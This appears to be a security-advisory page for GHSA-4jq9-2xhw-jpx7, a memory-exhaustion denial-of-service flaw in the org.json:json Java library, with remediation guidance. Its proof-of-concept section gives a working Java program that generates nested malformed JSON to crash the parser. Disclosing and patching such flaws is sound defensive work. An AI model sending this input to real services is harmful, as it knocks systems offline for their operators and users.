GHSA-4jq9-2xhw-jpx7 is a high-severity (CVSS 7.5) CWE-770 vulnerability in org.json:json. 1 public exploit or proof-of-concept reference is indexed, so weaponization risk is real. A fix is available for org.json:json — see the affected versions and patch details below.
Exploitation Status
No confirmed exploitation observed yet
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for GHSA-4jq9-2xhw-jpx7.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
org.json:jsonReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A denial of service vulnerability in JSON-Java was discovered by ClusterFuzz. A bug in the parser means that an input string of modest size can lead to indefinite amounts of memory being used. There are two issues: (1) the parser bug can be used to circumvent a check that is supposed to prevent the key in a JSON object from itself being another JSON object; (2) if a key does end up being a JSON object then it gets converted into a string, using \ to escape special characters, including \ itself. So by nesting JSON objects, with a key that is a JSON object that has a key that is a JSON object, and so on, we can get an exponential number of \ characters in the escaped string.
Severity
High - Because this is an already-fixed DoS vulnerability, the only remaining impact possible is for existing binaries that have not been updated yet.
Proof of Concept
package orgjsonbug;
import org.json.JSONObject;
/**
* Illustrates a bug in JSON-Java.
*/
public class Bug {
private static String makeNested(int depth) {
if (depth == 0) {
return "{\"a\":1}";
}
return "{\"a\":1;\t\0" + makeNested(depth - 1) + ":1}";
}
public static void main(String[] args) {
String input = makeNested(30);
System.out.printf("Input string has length %d: %s\n", input.length(), input);
JSONObject output = new JSONObject(input);
System.out.printf("Output JSONObject has length %d: %s\n", output.toString().length(), output);
}
}
When run, this reports that the input string has length 367. Then, after a long pause, the program crashes inside new JSONObject with OutOfMemoryError.
Further Analysis
The issue is fixed by this PR.
Timeline
Date reported: 07/14/2023 Date fixed: Date disclosed: 10/12/2023
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| ☕Maven | org.json:json | all versions | 20231013org.json:json:20231013 |
Affected Products
json-javastlearyResearch use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for org.json:json, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update org.json:json to 20231013 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-4jq9-2xhw-jpx7 is resolved across your whole dependency graph.
Workarounds
Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
This vulnerability may cause denial of service with a small string input, causing the server to be unresponsive easily, hence the Important impact.
No current mitigation is available for this flaw.Source: Red Hat security advisory for GHSA-4jq9-2xhw-jpx7 (CC BY 4.0)
| Product | Fixed in | Advisory |
|---|---|---|
| Red Hat AMQ Broker 7 | see advisory | RHSA-2024:3752 |
| Red Hat AMQ Broker 7 | hawtio-war | RHSA-2024:3762 |
| Red Hat AMQ Broker 7 | hawtio-war | RHSA-2024:4271 |
| Red Hat AMQ Streams 2.6.0 | see advisory | RHSA-2023:7678 |
| Red Hat build of Apache Camel 4 for Quarkus 3 | see advisory | RHSA-2023:7617 |
| Red Hat Fuse 7.13.0 | JSON-java | RHSA-2024:3354 |
| RHINT Camel-K 1.10.5 | JSON-java | RHSA-2024:0148 |
| RHINT Camel-Springboot 3.20.4 | JSON-java | RHSA-2023:7845 |
Frequently Asked Questions
Is GHSA-4jq9-2xhw-jpx7 in your dependencies?
Find it across Maven, including transitive dependencies.